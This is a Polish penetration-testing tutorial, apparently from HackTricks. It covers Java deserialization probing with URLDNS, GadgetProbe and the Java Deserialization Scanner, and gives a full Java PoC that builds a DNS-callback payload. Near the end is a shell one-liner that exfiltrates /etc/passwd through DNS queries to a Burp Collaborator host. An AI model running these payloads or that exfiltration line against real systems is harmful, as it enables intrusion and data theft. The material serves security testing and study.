Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner

Wsparcie dla HackTricks

Żądanie DNS przy deserializacji

Klasa java.net.URL implementuje Serializable, co oznacza, że ta klasa może być serializowana.

public final class URL implements java.io.Serializable {

Ta klasa ma ciekawą zachowanie. Z dokumentacji: “Dwa hosty są uważane za równoważne, jeśli oba nazwy hostów mogą być rozwiązane na te same adresy IP”. W związku z tym, za każdym razem, gdy obiekt URL wywołuje jakąkolwiek z funkcji equals lub hashCode, żądanie DNS w celu uzyskania adresu IP zostanie wysłane.

Wywołanie funkcji hashCode z obiektu URL jest dość proste, wystarczy wstawić ten obiekt do HashMap, która ma być deserializowana. Dzieje się tak, ponieważ na końcu funkcji readObject z HashMap ten kod jest wykonywany:

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}

To wykona putVal z każdą wartością wewnątrz HashMap. Ale bardziej istotne jest wywołanie hash z każdą wartością. Oto kod funkcji hash:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

Jak możesz zauważyć, podczas deserializacji HashMap funkcja hash będzie wykonywana dla każdego obiektu i podczas wykonania hash wykona się .hashCode() obiektu. Dlatego, jeśli deserializujesz HashMap zawierającą obiekt URL, obiekt URL wykona .hashCode().

Teraz przyjrzyjmy się kodowi URLObject.hashCode():

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;

Jak widać, gdy URLObject wykonuje .hashCode(), wywoływana jest hashCode(this). Kontynuując, możesz zobaczyć kod tej funkcji:

protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]

Możesz zobaczyć, że getHostAddress jest wykonywane dla domeny, uruchamiając zapytanie DNS.

Dlatego ta klasa może być wykorzystana w celu uruchomienia zapytania DNS w celu zademonstrowania, że deserializacja jest możliwa, a nawet do ekstrakcji informacji (możesz dodać jako subdomenę wynik wykonania polecenia).

Przykład kodu ładunku URLDNS

Możesz znaleźć kod ładunku URDNS od ysoserial tutaj. Jednak, aby ułatwić zrozumienie, jak to zakodować, stworzyłem własny PoC (oparty na tym z ysoserial):

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

Więcej informacji

GadgetProbe

Możesz pobrać GadgetProbe z Burp Suite App Store (Extender).

GadgetProbe spróbuje ustalić, czy niektóre klasy Java istnieją na klasie Java serwera, abyś mógł wiedzieć, czy jest vulnerable na jakieś znane exploity.

Jak to działa

GadgetProbe użyje tego samego ładunku DNS z poprzedniej sekcji, ale przed uruchomieniem zapytania DNS spróbuje zdeserializować dowolną klasę. Jeśli dowolna klasa istnieje, zapytanie DNS zostanie wysłane, a GadgetProbe odnotuje, że ta klasa istnieje. Jeśli zapytanie DNS nigdy nie zostanie wysłane, oznacza to, że dowolna klasa nie została zdeserializowana pomyślnie, więc albo nie jest obecna, albo nie jest serializowalna/eksploatowalna.

W repozytorium github, GadgetProbe ma kilka list słów z klasami Java do przetestowania.

Więcej informacji

Skaner deserializacji Java

Ten skaner można pobrać z Burp App Store (Extender). Rozszerzenie ma pasywne i aktywne możliwości.

Pasywne

Domyślnie sprawdza pasywnie wszystkie żądania i odpowiedzi wysyłane w poszukiwaniu magicznych bajtów serializacji Java i przedstawi ostrzeżenie o podatności, jeśli coś zostanie znalezione:

Aktywne

Testowanie ręczne

Możesz wybrać żądanie, kliknąć prawym przyciskiem myszy i Wyślij żądanie do DS - Testowanie ręczne. Następnie, w zakładce Skaner deserializacji --> Zakładka testowania ręcznego możesz wybrać punkt wstawienia. I uruchomić test (Wybierz odpowiedni atak w zależności od używanego kodowania).

Nawet jeśli to nazywa się "Testowanie ręczne", jest dość zautomatyzowane. Automatycznie sprawdzi, czy deserializacja jest vulnerable na jakikolwiek ładunek ysoserial, sprawdzając biblioteki obecne na serwerze WWW i podświetli te, które są podatne. Aby sprawdzić podatne biblioteki, możesz wybrać uruchomienie Javas Sleeps, sleeps poprzez zużycie CPU, lub używając DNS, jak wcześniej wspomniano.

Eksploatacja

Gdy zidentyfikujesz podatną bibliotekę, możesz wysłać żądanie do zakładki Eksploatacja. W tej zakładce musisz wybrać punkt wstrzyknięcia ponownie, wpisać podatną bibliotekę, dla której chcesz stworzyć ładunek, oraz komendę. Następnie wystarczy nacisnąć odpowiedni przycisk Atak.

Informacje o deserializacji Java DNS Exfil

Spraw, aby twój ładunek wykonał coś takiego jak poniżej:

(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

Więcej informacji

Wsparcie HackTricks

Last updated